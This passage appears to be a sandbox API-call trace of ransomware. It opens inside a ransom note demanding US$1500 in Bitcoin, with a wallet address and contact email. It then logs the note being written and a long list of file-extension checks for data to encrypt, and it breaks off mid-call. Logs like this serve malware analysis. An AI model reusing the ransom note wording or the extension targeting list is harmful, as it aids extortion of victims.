price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.636] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.638] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.638] CloseHandle (hObject=0x90) returned 1 [0109.638] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll" [0109.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0109.638] lstrlenA (lpString="*.ems") returned 5 [0109.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.db") returned 0 [0109.638] lstrlenA (lpString="*.db") returned 4 [0109.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0109.638] lstrlenA (lpString="*.dbf") returned 5 [0109.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0109.638] lstrlenA (lpString="*.myox") returned 6 [0109.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0109.638] lstrlenA (lpString="*.myo") returned 5 [0109.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0109.639] lstrlenA (lpString="*.qbw") returned 5 [0109.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0109.639] lstrlenA (lpString="*.qbb") returned 5 [0109.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0109.639] lstrlenA (lpString="*.qbm") returned 5 [0109.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0109.639] lstrlenA (lpString="*.qbo") returned 5 [0109.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0109.639] lstrlenA (lpString="*.qbx") returned 5 [0109.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0109.639] lstrlenA (lpString="*.qba") returned 5 [0109.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0109.639] lstrlenA (lpString="*.qby") returned 5 [0109.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0109.639] lstrlenA (lpString="*.qbj") returned 5 [0109.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0109.639] lstrlenA (lpString="*.ofx") returned 5 [0109.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0109.639] lstrlenA (lpString="*.qif") returned 5 [0109.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0109.639] lstrlenA (lpString="*.mye") returned 5 [0109.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0109.639] lstrlenA (lpString="*.mbox") returned 6 [0109.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0109.640] lstrlenA (lpString="*.eml") returned 5 [0109.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0109.640] lstrlenA (lpString="*.pst") returned 5 [0109.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0109.640] lstrlenA (lpString="*.ost") returned 5 [0109.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0109.640] lstrlenA (lpString="*.idx") returned 5 [0109.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0109.640] lstrlenA (lpString="*.dbx") returned 5 [0109.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0109.640] lstrlenA (lpString="*.sql") returned 5 [0109.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0109.640] lstrlenA (lpString="*.mdb") returned 5 [0109.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0109.640] lstrlenA (lpString="*.fdb") returned 5 [0109.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0109.640] lstrlenA (lpString="*.wab") returned 5 [0109.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0109.640] lstrlenA (lpString="*.dat") returned 5 [0109.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0109.640] lstrlenA (lpString="*.txt") returned 5 [0109.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0109.641] lstrlenA (lpString="*.jpeg") returned 6 [0109.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0109.641] lstrlenA (lpString="*.jpg") returned 5 [0109.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.png") returned 0 [0109.641] lstrlenA (lpString="*.png") returned 5 [0109.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.php") returned 0 [0109.641] lstrlenA (lpString="*.php") returned 5 [0109.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0109.641] lstrlenA (lpString="*.cs") returned 4 [0109.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0109.641] lstrlenA (lpString="*.cpp") returned 5 [0109.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0109.641] lstrlenA (lpString="*.rar") returned 5 [0109.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0109.641] lstrlenA (lpString="*.zip") returned 5 [0109.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.html") returned 0 [0109.641] lstrlenA (lpString="*.html") returned 6 [0109.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0109.641] lstrlenA (lpString="*.htm") returned 5 [0109.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0109.641] lstrlenA (lpString="*.xlsx") returned 6 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0109.642] lstrlenA (lpString="*.xls") returned 5 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0109.642] lstrlenA (lpString="*.mp4") returned 5 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0109.642] lstrlenA (lpString="*.ppt") returned 5 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0109.642] lstrlenA (lpString="*.pptx") returned 6 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0109.642] lstrlenA (lpString="*.doc") returned 5 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0109.642] lstrlenA (lpString="*.dot") returned 5 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0109.642] lstrlenA (lpString="*.docx") returned 6 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0109.642] lstrlenA (lpString="*.7z") returned 4 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0109.642] lstrlenA (lpString="*.tar") returned 5 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0109.642] lstrlenA (lpString="*.bz2") returned 5 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0109.642] lstrlenA (lpString="*.gz") returned 4 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0109.642] lstrlenA (lpString="*.mkv") returned 5 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0109.642] lstrlenA (lpString="*.eml") returned 5 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0109.642] lstrlenA (lpString="*.msg") returned 5 [0109.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0109.643] lstrlenA (lpString="*.edb") returned 5 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0109.643] lstrlenA (lpString="*.accdb") returned 7 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0109.643] lstrlenA (lpString="*.odb") returned 5 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.java") returned 0 [0109.643] lstrlenA (lpString="*.java") returned 6 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0109.643] lstrlenA (lpString="*.asm") returned 5 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0109.643] lstrlenA (lpString="*.pfx") returned 5 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0109.643] lstrlenA (lpString="*.pem") returned 5 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0109.643] lstrlenA (lpString="*.p12") returned 5 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0109.643] lstrlenA (lpString="*.gpg") returned 5 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0109.643] lstrlenA (lpString="*.vsd") returned 5 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0109.643] lstrlenA (lpString="*.odg") returned 5 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0109.643] lstrlenA (lpString="*.raw") returned 5 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0109.643] lstrlenA (lpString="*.nef") returned 5 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0109.643] lstrlenA (lpString="*.svg") returned 5 [0109.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0109.643] lstrlenA (lpString="*.psd") returned 5 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0109.644] lstrlenA (lpString="*.vmx") returned 5 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0109.644] lstrlenA (lpString="*.vmdk") returned 6 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0109.644] lstrlenA (lpString="*.vdi") returned 5 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0109.644] lstrlenA (lpString="*.lay6") returned 6 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0109.644] lstrlenA (lpString="*.mpeg") returned 6 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0109.644] lstrlenA (lpString="*.djvu") returned 6 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0109.644] lstrlenA (lpString="*.tiff") returned 6 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0109.644] lstrlenA (lpString="*.backup") returned 8 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0109.644] lstrlenA (lpString="*.pdf") returned 5 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0109.644] lstrlenA (lpString="*.cert") returned 6 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0109.644] lstrlenA (lpString="*.docm") returned 6 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0109.644] lstrlenA (lpString="*.xlsm") returned 6 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0109.644] lstrlenA (lpString="*.dwg") returned 5 [0109.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0109.645] lstrlenA (lpString="*.nd") returned 4 [0109.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0109.645] lstrlenA (lpString="*.tlg") returned 5 [0109.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0109.645] lstrlenA (lpString="*.lgb") returned 5 [0109.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0109.645] lstrlenA 